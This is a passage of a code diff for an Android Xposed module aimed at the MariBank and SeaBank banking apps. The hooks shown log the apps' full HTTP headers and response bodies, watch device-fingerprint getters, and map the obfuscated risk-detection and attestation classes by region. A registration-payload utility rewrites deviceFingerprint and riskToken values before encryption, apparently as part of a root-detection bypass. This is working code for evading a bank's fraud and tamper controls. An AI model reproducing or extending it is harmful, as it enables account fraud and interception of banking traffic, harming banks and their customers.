String nk = it.next();
|
||||
try {
|
||||
scanValue(key + "." + nk, nested.get(nk), hits);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (val instanceof JSONArray) {
|
||||
JSONArray arr = (JSONArray) val;
|
||||
for (int i = 0; i < arr.length(); i++) {
|
||||
try {
|
||||
scanValue(key + "[" + i + "]", arr.get(i), hits);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void noteIfSuspicious(String key, String kind, String text, List<String> hits) {
|
||||
if (text == null || text.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
Matcher m = SUSPICIOUS.matcher(text);
|
||||
if (m.find()) {
|
||||
String show = text.length() > 120 ? text.substring(0, 120) + "..." : text;
|
||||
hits.add(key + " " + kind + " hit=" + m.group().toLowerCase(Locale.ROOT) + " val=" + show);
|
||||
}
|
||||
}
|
||||
|
||||
private static void logKeyGuesses(List<String> keys) {
|
||||
Set<String> candidates = knownFieldNames();
|
||||
List<String> matched = new ArrayList<>();
|
||||
for (String key : keys) {
|
||||
if (!HEX_KEY.matcher(key).matches()) {
|
||||
continue;
|
||||
}
|
||||
String lower = key.toLowerCase(Locale.ROOT);
|
||||
for (String name : candidates) {
|
||||
if (hashKey(name).equals(lower)) {
|
||||
matched.add(key + "=>" + name);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!matched.isEmpty()) {
|
||||
XposedBridge.log(TAG + " key guesses: " + matched);
|
||||
}
|
||||
}
|
||||
|
||||
private static Set<String> knownFieldNames() {
|
||||
Set<String> names = new LinkedHashSet<>();
|
||||
String[] base = {
|
||||
"root", "hook", "xposed", "lsposed", "magisk", "frida", "adb", "debug",
|
||||
"debuggable", "emulator", "simulator", "vpn", "proxy", "mock",
|
||||
"selinux", "su", "supersu", "zygisk", "riru", "shamiko", "substrate",
|
||||
"integrity", "safetynet", "playIntegrity", "deviceId", "androidId",
|
||||
"serial", "fingerprint", "model", "brand", "manufacturer", "board",
|
||||
"host", "tags", "type", "user", "display", "product", "hardware",
|
||||
"usb", "wifi", "adb_enabled", "development_settings_enabled",
|
||||
"RISK_ROOT", "RISK_HOOK", "RISK_USB_ADB", "RISK_WIFI_ADB", "RISK_ADB",
|
||||
"RISK_EMULATOR", "RISK_DEBUG", "RISK_VPN", "RISK_PROXY", "RISK_MOCK",
|
||||
"rdVerifyInfo", "deviceFingerprint", "data", "dataKey", "riskToken",
|
||||
"isRoot", "isHook", "isDebug", "isAdb", "isEmulator", "isVirtual",
|
||||
"tamper", "jailbreak", "bootloader", "verifiedbootstate", "vbmeta",
|
||||
"init.svc.adbd", "/proc/self/maps", "RealInterceptorChain",
|
||||
};
|
||||
Collections.addAll(names, base);
|
||||
return names;
|
||||
}
|
||||
|
||||
private static String hashKey(String name) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||
byte[] dig = md.digest(name.getBytes(StandardCharsets.UTF_8));
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < 4; i++) {
|
||||
sb.append(String.format(Locale.ROOT, "%02x", dig[i] & 0xff));
|
||||
}
|
||||
return sb.toString();
|
||||
} catch (Throwable t) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean looksBase64(String s) {
|
||||
return s.matches("^[A-Za-z0-9+/=]+$");
|
||||
}
|
||||
|
||||
private static byte[] tryBase64(String s) {
|
||||
try {
|
||||
return Base64.decode(s, Base64.DEFAULT);
|
||||
} catch (Throwable t) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isMostlyPrintable(String s) {
|
||||
if (s == null || s.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
int ok = 0;
|
||||
for (int i = 0; i < s.length(); i++) {
|
||||
char c = s.charAt(i);
|
||||
if (c >= 0x20 && c < 0x7f) {
|
||||
ok++;
|
||||
}
|
||||
}
|
||||
return ok * 100 / s.length() >= 85;
|
||||
}
|
||||
|
||||
private static String hexPreview(byte[] b, int max) {
|
||||
if (b == null) {
|
||||
return "";
|
||||
}
|
||||
int n = Math.min(b.length, max);
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < n; i++) {
|
||||
sb.append(String.format(Locale.ROOT, "%02x", b[i] & 0xff));
|
||||
}
|
||||
if (b.length > n) {
|
||||
sb.append("...");
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.util.Base64;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
|
||||
/**
|
||||
* 分段 logcat 输出,避免单条超过 ~4KB 被截断。
|
||||
*/
|
||||
final class MariBankCaptureUtil {
|
||||
|
||||
static final String TAG = "notiMessageHook/MariBankCapture";
|
||||
private static final int CHUNK = 3500;
|
||||
private static final int HEX_PREVIEW = 96;
|
||||
|
||||
private MariBankCaptureUtil() {
|
||||
}
|
||||
|
||||
static void logText(String section, String text) {
|
||||
if (text == null) {
|
||||
XposedBridge.log(TAG + " [" + section + "] null");
|
||||
return;
|
||||
}
|
||||
if (text.length() <= CHUNK) {
|
||||
XposedBridge.log(TAG + " [" + section + "] len=" + text.length() + " " + text);
|
||||
return;
|
||||
}
|
||||
int parts = (text.length() + CHUNK - 1) / CHUNK;
|
||||
XposedBridge.log(TAG + " [" + section + "] len=" + text.length() + " parts=" + parts);
|
||||
for (int i = 0; i < parts; i++) {
|
||||
int start = i * CHUNK;
|
||||
int end = Math.min(start + CHUNK, text.length());
|
||||
XposedBridge.log(TAG + " [" + section + "] " + (i + 1) + "/" + parts + " "
|
||||
+ text.substring(start, end));
|
||||
}
|
||||
}
|
||||
|
||||
static void logBytes(String section, byte[] bytes) {
|
||||
if (bytes == null) {
|
||||
XposedBridge.log(TAG + " [" + section + "] null");
|
||||
return;
|
||||
}
|
||||
String utf8 = tryUtf8(bytes);
|
||||
if (isMostlyPrintable(utf8)) {
|
||||
logText(section + " utf8", utf8);
|
||||
} else {
|
||||
XposedBridge.log(TAG + " [" + section + "] byte[" + bytes.length + "] hex="
|
||||
+ hexPreview(bytes) + " b64=" + base64(bytes));
|
||||
}
|
||||
}
|
||||
|
||||
static void logArg(String section, Object arg) {
|
||||
if (arg == null) {
|
||||
XposedBridge.log(TAG + " [" + section + "] null");
|
||||
return;
|
||||
}
|
||||
if (arg instanceof String) {
|
||||
logText(section, (String) arg);
|
||||
return;
|
||||
}
|
||||
if (arg instanceof byte[]) {
|
||||
logBytes(section, (byte[]) arg);
|
||||
return;
|
||||
}
|
||||
if (arg instanceof String[]) {
|
||||
String[] arr = (String[]) arg;
|
||||
XposedBridge.log(TAG + " [" + section + "] String[" + arr.length + "]");
|
||||
for (int i = 0; i < arr.length; i++) {
|
||||
logText(section + "[" + i + "]", arr[i]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (arg instanceof byte[][]) {
|
||||
byte[][] arr = (byte[][]) arg;
|
||||
XposedBridge.log(TAG + " [" + section + "] byte[][] len=" + arr.length);
|
||||
for (int i = 0; i < arr.length; i++) {
|
||||
logBytes(section + "[" + i + "]", arr[i]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " [" + section + "] " + arg.getClass().getName()
|
||||
+ " = " + String.valueOf(arg));
|
||||
}
|
||||
|
||||
static boolean isBankUrl(String url) {
|
||||
if (url == null || url.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
String lower = url.toLowerCase();
|
||||
return lower.contains("maribank.com")
|
||||
|| lower.contains("seabank.ph")
|
||||
|| lower.contains("/uapi/");
|
||||
}
|
||||
|
||||
private static String tryUtf8(byte[] bytes) {
|
||||
try {
|
||||
return new String(bytes, StandardCharsets.UTF_8);
|
||||
} catch (Throwable t) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
static boolean isMostlyPrintable(String s) {
|
||||
if (s == null || s.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
int printable = 0;
|
||||
int sample = Math.min(s.length(), 512);
|
||||
for (int i = 0; i < sample; i++) {
|
||||
char c = s.charAt(i);
|
||||
if (c == '\n' || c == '\r' || c == '\t' || (c >= 32 && c < 127)) {
|
||||
printable++;
|
||||
}
|
||||
}
|
||||
return printable * 100 / sample >= 85;
|
||||
}
|
||||
|
||||
private static String hexPreview(byte[] bytes) {
|
||||
int n = Math.min(bytes.length, HEX_PREVIEW);
|
||||
StringBuilder sb = new StringBuilder(n * 2);
|
||||
for (int i = 0; i < n; i++) {
|
||||
sb.append(String.format("%02x", bytes[i] & 0xff));
|
||||
}
|
||||
if (bytes.length > n) {
|
||||
sb.append("...");
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static String base64(byte[] bytes) {
|
||||
try {
|
||||
return Base64.encodeToString(bytes, Base64.NO_WRAP);
|
||||
} catch (Throwable t) {
|
||||
return "<b64 err>";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* DFP(device fingerprint)初始化诊断:register 前若 dfp 为空会弹
|
||||
* "The system is currently unavailable",且不会发 /uapi/v2/register。
|
||||
*/
|
||||
public final class MariBankDfpHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankDfp";
|
||||
private static final Set<String> HOOKED_CLASSES = new HashSet<>();
|
||||
|
||||
private static volatile boolean loadClassWatcherInstalled = false;
|
||||
private static volatile boolean registerVmHooked = false;
|
||||
|
||||
private MariBankDfpHook() {
|
||||
}
|
||||
|
||||
public static void installLate(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
hookRegisterViewModel(lpparam);
|
||||
hookKnownDfpClasses(lpparam);
|
||||
installLoadClassWatcher(lpparam);
|
||||
}
|
||||
|
||||
private static void hookRegisterViewModel(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (registerVmHooked) {
|
||||
return;
|
||||
}
|
||||
String className = "com.shopee.bke.biz.user.viewmodel.RegisterViewModel";
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
registerVmHooked = true;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
String args = param.args == null ? "[]" : Arrays.toString(param.args);
|
||||
if (args.length() > 800) {
|
||||
args = args.substring(0, 800) + "...";
|
||||
}
|
||||
XposedBridge.log(TAG + " RegisterViewModel."
|
||||
+ method.getName() + " args=" + args);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (result == null) {
|
||||
return;
|
||||
}
|
||||
String rs = String.valueOf(result);
|
||||
if (rs.length() > 600) {
|
||||
rs = rs.substring(0, 600) + "...";
|
||||
}
|
||||
if (rs.isEmpty()
|
||||
|| rs.toLowerCase().contains("dfp")
|
||||
|| rs.toLowerCase().contains("error")
|
||||
|| rs.toLowerCase().contains("unavailable")
|
||||
|| rs.contains("3100012")
|
||||
|| rs.contains("4067")) {
|
||||
XposedBridge.log(TAG + " RegisterViewModel."
|
||||
+ method.getName() + " result=" + rs);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
XposedBridge.log(TAG + " RegisterViewModel hooked methods="
|
||||
+ clazz.getDeclaredMethods().length);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip RegisterViewModel: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 启动时类可能已加载,先尝试已知命名。 */
|
||||
private static void hookKnownDfpClasses(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String[] candidates = {
|
||||
"com.shopee.bke.lib.jni.security.CharacterCryptoManager",
|
||||
"com.shopee.bke.lib.jni.security.CharacterCryptoManagerWrapper",
|
||||
"com.shopee.bke.lib.jni.utils.NativeEncryptUtilsWrapper",
|
||||
};
|
||||
for (String cn : candidates) {
|
||||
tryHookDfpClass(lpparam, cn);
|
||||
}
|
||||
}
|
||||
|
||||
private static void installLoadClassWatcher(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (loadClassWatcherInstalled) {
|
||||
return;
|
||||
}
|
||||
loadClassWatcherInstalled = true;
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
ClassLoader.class,
|
||||
"loadClass",
|
||||
String.class,
|
||||
boolean.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.getThrowable() != null) {
|
||||
return;
|
||||
}
|
||||
String name = (String) param.args[0];
|
||||
if (name == null) {
|
||||
return;
|
||||
}
|
||||
if (name.contains("CharacterCrypto")
|
||||
|| name.contains("NativeEncryptUtils")
|
||||
|| (name.contains("dfp") && name.contains("bke"))) {
|
||||
tryHookDfpClass(lpparam, name);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " ClassLoader dfp watcher OK");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip ClassLoader watcher: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void tryHookDfpClass(XC_LoadPackage.LoadPackageParam lpparam, String className) {
|
||||
if (HOOKED_CLASSES.contains(className)) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int count = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
String mn = method.getName();
|
||||
if (!mn.startsWith("getDfp") && !mn.contains("Fingerprint")) {
|
||||
continue;
|
||||
}
|
||||
if (method.getReturnType() != String.class) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
String s = result instanceof String ? (String) result : null;
|
||||
if (s == null || s.isEmpty()) {
|
||||
XposedBridge.log(TAG + " EMPTY " + className + "."
|
||||
+ method.getName() + " → register may fail");
|
||||
} else {
|
||||
String tail = s.length() > 80
|
||||
? s.substring(0, 40) + "..." + s.substring(s.length() - 20)
|
||||
: s;
|
||||
XposedBridge.log(TAG + " " + className + "."
|
||||
+ method.getName() + " len=" + s.length() + " val=" + tail);
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
}
|
||||
if (count > 0) {
|
||||
HOOKED_CLASSES.add(className);
|
||||
XposedBridge.log(TAG + " hooked " + count + " dfp getters in " + className);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
/** 拦截 dfp 空检查日志源(含 register scene 文案的类方法)。 */
|
||||
public static void hookDfpEmptyGuards(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"android.util.Log",
|
||||
lpparam.classLoader,
|
||||
"e",
|
||||
String.class,
|
||||
String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
String msg = param.args[1] instanceof String ? (String) param.args[1] : null;
|
||||
if (msg == null) {
|
||||
return;
|
||||
}
|
||||
String lower = msg.toLowerCase();
|
||||
if (lower.contains("dfp is empty")
|
||||
|| lower.contains("getdfp empty")
|
||||
|| lower.contains("getdfp onerror")) {
|
||||
XposedBridge.log(TAG + " Log.e: " + msg);
|
||||
logStack();
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip Log.e dfp guard: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void logStack() {
|
||||
for (StackTraceElement frame : Thread.currentThread().getStackTrace()) {
|
||||
String cn = frame.getClassName();
|
||||
if (cn.startsWith("com.shopee.bke") || cn.contains("CharacterCrypto")) {
|
||||
XposedBridge.log(TAG + " at " + cn + "." + frame.getMethodName());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import java.util.concurrent.atomic.AtomicInteger;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* MariBank / SeaBank HTTP 全量抓包(仅 OkHttp 头 + 响应体)。
|
||||
* 加密明文 / attestation 由 {@link MariBankSdkUtilsHook} 负责,勿在此重复 Hook Gson/native。
|
||||
*/
|
||||
public final class MariBankFullCaptureHook {
|
||||
|
||||
private static final String TAG = MariBankCaptureUtil.TAG;
|
||||
private static final AtomicInteger SEQ = new AtomicInteger();
|
||||
|
||||
private static volatile boolean installed = false;
|
||||
|
||||
private MariBankFullCaptureHook() {
|
||||
}
|
||||
|
||||
public static void installLate(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (installed) {
|
||||
return;
|
||||
}
|
||||
installed = true;
|
||||
|
||||
int n = hookOkHttpRealCall(lpparam);
|
||||
XposedBridge.log(TAG + " http capture hooks=" + n);
|
||||
}
|
||||
|
||||
private static int hookOkHttpRealCall(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook hook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
try {
|
||||
Object request = XposedHelpers.getObjectField(param.thisObject, "originalRequest");
|
||||
if (request == null) {
|
||||
return;
|
||||
}
|
||||
captureRequest(request);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " req capture err: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (!"execute".equals(param.method.getName())) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Object response = param.getResult();
|
||||
if (response != null) {
|
||||
captureResponse(response);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " resp capture err: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
};
|
||||
int count = 0;
|
||||
for (String className : new String[]{
|
||||
"okhttp3.RealCall", "okhttp3.internal.connection.RealCall"
|
||||
}) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(className, lpparam.classLoader, "execute", hook);
|
||||
XposedHelpers.findAndHookMethod(className, lpparam.classLoader, "enqueue",
|
||||
"okhttp3.Callback", hook);
|
||||
count += 2;
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
private static void captureRequest(Object request) {
|
||||
Object urlObj = XposedHelpers.callMethod(request, "url");
|
||||
String url = urlObj != null ? String.valueOf(urlObj) : "?";
|
||||
if (!MariBankCaptureUtil.isBankUrl(url)) {
|
||||
return;
|
||||
}
|
||||
int seq = SEQ.incrementAndGet();
|
||||
String method = (String) XposedHelpers.callMethod(request, "method");
|
||||
XposedBridge.log(TAG + " >>> #" + seq + " " + method + " " + url);
|
||||
logHeaders("reqHdr #" + seq, XposedHelpers.callMethod(request, "headers"));
|
||||
}
|
||||
|
||||
private static void captureResponse(Object response) {
|
||||
try {
|
||||
Object request = XposedHelpers.callMethod(response, "request");
|
||||
Object urlObj = request != null ? XposedHelpers.callMethod(request, "url") : null;
|
||||
String url = urlObj != null ? String.valueOf(urlObj) : "?";
|
||||
if (!MariBankCaptureUtil.isBankUrl(url)) {
|
||||
return;
|
||||
}
|
||||
int code = (int) XposedHelpers.callMethod(response, "code");
|
||||
XposedBridge.log(TAG + " <<< HTTP " + code + " " + url);
|
||||
logHeaders("respHdr", XposedHelpers.callMethod(response, "headers"));
|
||||
try {
|
||||
Object peek = XposedHelpers.callMethod(response, "peekBody", 256L * 1024L);
|
||||
if (peek != null) {
|
||||
Object ctObj = XposedHelpers.callMethod(peek, "contentType");
|
||||
String contentType = ctObj != null ? String.valueOf(ctObj).toLowerCase() : "";
|
||||
if (contentType.contains("pdf") || contentType.contains("octet-stream")) {
|
||||
long size = 0L;
|
||||
try {
|
||||
size = (long) XposedHelpers.callMethod(peek, "contentLength");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
XposedBridge.log(TAG + " <<< respBody skipped binary ct="
|
||||
+ contentType + " len=" + size + " " + url);
|
||||
} else {
|
||||
String body = (String) XposedHelpers.callMethod(peek, "string");
|
||||
if (body != null && !body.isEmpty()) {
|
||||
if (body.length() > 512
|
||||
&& !MariBankCaptureUtil.isMostlyPrintable(body)) {
|
||||
XposedBridge.log(TAG + " <<< respBody skipped non-text len="
|
||||
+ body.length() + " " + url);
|
||||
} else {
|
||||
MariBankCaptureUtil.logText("respBody", body);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " peekBody err: " + t.getMessage());
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " captureResponse err: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void logHeaders(String section, Object headers) {
|
||||
if (headers == null) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
int size = (int) XposedHelpers.callMethod(headers, "size");
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < size; i++) {
|
||||
String name = (String) XposedHelpers.callMethod(headers, "name", i);
|
||||
String value = (String) XposedHelpers.callMethod(headers, "value", i);
|
||||
sb.append(name).append(": ").append(value).append("\n");
|
||||
}
|
||||
MariBankCaptureUtil.logText(section, sb.toString().trim());
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " [" + section + "] headers err: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
/**
|
||||
* PH vs SG MariBank 差异配置(基于 reverse/apks 扫描,非「换包名即相同」)。
|
||||
* <p>
|
||||
* SG 3.2.2:dex 内无 {@code com.shopee.shpssdk.*}、无 {@code safemode.b/catchs.a/util.c}、
|
||||
* 无 {@code jni.utils.d};风控仅 {@code shpssdkbank}。
|
||||
*/
|
||||
public final class MariBankRegionProfile {
|
||||
|
||||
private MariBankRegionProfile() {
|
||||
}
|
||||
|
||||
public static boolean isSingapore(String packageName) {
|
||||
return MariBankRootBypassHook.PACKAGE_SG.equals(packageName);
|
||||
}
|
||||
|
||||
public static boolean isPhilippines(String packageName) {
|
||||
return MariBankRootBypassHook.PACKAGE.equals(packageName);
|
||||
}
|
||||
|
||||
public static String label(String packageName) {
|
||||
if (isSingapore(packageName)) {
|
||||
return "SG";
|
||||
}
|
||||
if (isPhilippines(packageName)) {
|
||||
return "PH";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
/** PH SafeMode boolean 类;SG base/split dex 均无,勿 findClass。 */
|
||||
public static String[] safeModeBooleanClasses(String packageName) {
|
||||
if (isPhilippines(packageName)) {
|
||||
return new String[]{
|
||||
"com.shopee.bke.lib.safemode.b",
|
||||
"com.shopee.bke.lib.safemode.catchs.a",
|
||||
"com.shopee.bke.lib.safemode.util.c",
|
||||
};
|
||||
}
|
||||
return new String[0];
|
||||
}
|
||||
|
||||
/** 两区共有或 SG 专用 risk 类(classes3.dex)。 */
|
||||
public static String[] sharedRiskClasses() {
|
||||
return new String[]{"com.shopee.bke.biz.base.risk.a"};
|
||||
}
|
||||
|
||||
/** SHPSSDK Java 入口:SG 仅 bank 包。 */
|
||||
public static String[] shpsSdkClasses(String packageName) {
|
||||
if (isSingapore(packageName)) {
|
||||
return new String[]{"com.shopee.shpssdkbank.SHPSSDK"};
|
||||
}
|
||||
return new String[]{
|
||||
"com.shopee.shpssdk.SHPSSDK",
|
||||
"com.shopee.shpssdkbank.SHPSSDK",
|
||||
};
|
||||
}
|
||||
|
||||
public static String[] shpsAssessRiskClasses(String packageName) {
|
||||
if (isSingapore(packageName)) {
|
||||
return new String[]{"com.shopee.shpssdkbank.SPSAssessRisk"};
|
||||
}
|
||||
return new String[]{
|
||||
"com.shopee.shpssdkbank.SPSAssessRisk",
|
||||
"com.shopee.shpssdk.SPSAssessRisk",
|
||||
};
|
||||
}
|
||||
|
||||
public static String[] shpsCallbackAdapterClasses(String packageName) {
|
||||
if (isSingapore(packageName)) {
|
||||
return new String[]{"com.shopee.shpssdkbank.SPSCallbackAdapter"};
|
||||
}
|
||||
return new String[]{
|
||||
"com.shopee.shpssdk.SPSCallbackAdapter",
|
||||
"com.shopee.shpssdkbank.SPSCallbackAdapter",
|
||||
};
|
||||
}
|
||||
|
||||
/** attestation / native-core:SG 无 com.shopee.shpssdk.wvvvuwwu。 */
|
||||
public static String[] shpsAttestationCoreClasses(String packageName) {
|
||||
if (isSingapore(packageName)) {
|
||||
return new String[]{
|
||||
"com.shopee.shpssdkbank.wvvvuwwu",
|
||||
"com.shopee.shpssdkbank.uwuvuvvww.uvwuuuuuw.vvvvuwwvu",
|
||||
"com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv",
|
||||
"com.shopee.shpssdkbank.uwuvuvvww.wvvuuwvwu",
|
||||
"com.shopee.shpssdkbank.uvuwwuvwv.uvwwuuvvw",
|
||||
};
|
||||
}
|
||||
return new String[]{
|
||||
"com.shopee.shpssdkbank.wvvvuwwu",
|
||||
"com.shopee.shpssdkbank.uwuvuvvww.uvwuuuuuw.vvvvuwwvu",
|
||||
"com.shopee.shpssdkbank.uwuvuvvww.vvuuuuvvv",
|
||||
"com.shopee.shpssdkbank.uwuvuvvww.wvvuuwvwu",
|
||||
"com.shopee.shpssdk.wvvvuwwu",
|
||||
};
|
||||
}
|
||||
|
||||
/** 加密 JNI:PH 有 utils.d 包装;SG 仅 uvwuvwuv + uvwwwwuv(classes6.dex)。 */
|
||||
public static boolean hasEncryptWrapperD(String packageName) {
|
||||
return isPhilippines(packageName);
|
||||
}
|
||||
|
||||
public static boolean hasEncryptHelperUvwwwwuv(String packageName) {
|
||||
return isSingapore(packageName);
|
||||
}
|
||||
|
||||
/** late hooks 完成条件:SG 不依赖 PH safemode booleanHooks。 */
|
||||
public static boolean isLateHooksReady(
|
||||
String packageName, int booleanHooks, int encryptHooks, int attestHooks) {
|
||||
if (isSingapore(packageName)) {
|
||||
return encryptHooks > 0 || attestHooks > 0;
|
||||
}
|
||||
return booleanHooks > 0 || encryptHooks > 0 || attestHooks > 0;
|
||||
}
|
||||
|
||||
public static boolean isShpssdkLegacyPackage(String className) {
|
||||
return className != null
|
||||
&& className.startsWith("com.shopee.shpssdk.")
|
||||
&& !className.startsWith("com.shopee.shpssdkbank.");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
|
||||
/**
|
||||
* register 加密前 JSON 净化:{@code scene=REGISTRATION} 路径上的 deviceFingerprint / riskToken。
|
||||
*/
|
||||
final class MariBankRegisterPayloadUtil {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankRegister";
|
||||
|
||||
private static final Pattern DEVICE_FINGERPRINT = Pattern.compile(
|
||||
"\"deviceFingerprint\"\\s*:\\s*\"([^\"]+)\"");
|
||||
|
||||
private MariBankRegisterPayloadUtil() {
|
||||
}
|
||||
|
||||
static boolean isRegistrationPayload(String text) {
|
||||
if (text == null || text.length() < 24) {
|
||||
return false;
|
||||
}
|
||||
return text.contains("\"scene\":\"REGISTRATION\"")
|
||||
|| text.contains("\"scene\": \"REGISTRATION\"")
|
||||
|| (text.contains("rdVerifyInfo") && text.contains("\"step\":\"BE\""));
|
||||
}
|
||||
|
||||
static byte[] sanitizeRegistrationBytes(byte[] data) {
|
||||
if (data == null || data.length == 0) {
|
||||
return data;
|
||||
}
|
||||
String text = new String(data, StandardCharsets.UTF_8);
|
||||
if (!isRegistrationPayload(text)) {
|
||||
return MariBankRiskTokenUtil.sanitizeBytes(data, 0, data.length);
|
||||
}
|
||||
String out = sanitizeRegistrationJson(text);
|
||||
if (out.equals(text)) {
|
||||
return data;
|
||||
}
|
||||
XposedBridge.log(TAG + " sanitized register payload len=" + data.length + " -> " + out.length());
|
||||
return out.getBytes(StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
static String sanitizeRegistrationJson(String json) {
|
||||
if (json == null) {
|
||||
return null;
|
||||
}
|
||||
String out = MariBankRiskTokenUtil.sanitizeAllInText(json);
|
||||
Matcher m = DEVICE_FINGERPRINT.matcher(out);
|
||||
StringBuffer sb = new StringBuffer();
|
||||
boolean changed = false;
|
||||
while (m.find()) {
|
||||
String old = m.group(1);
|
||||
String neu = MariBankRiskTokenUtil.sanitizeRiskToken(old);
|
||||
if (!neu.equals(old)) {
|
||||
changed = true;
|
||||
}
|
||||
m.appendReplacement(sb, Matcher.quoteReplacement(
|
||||
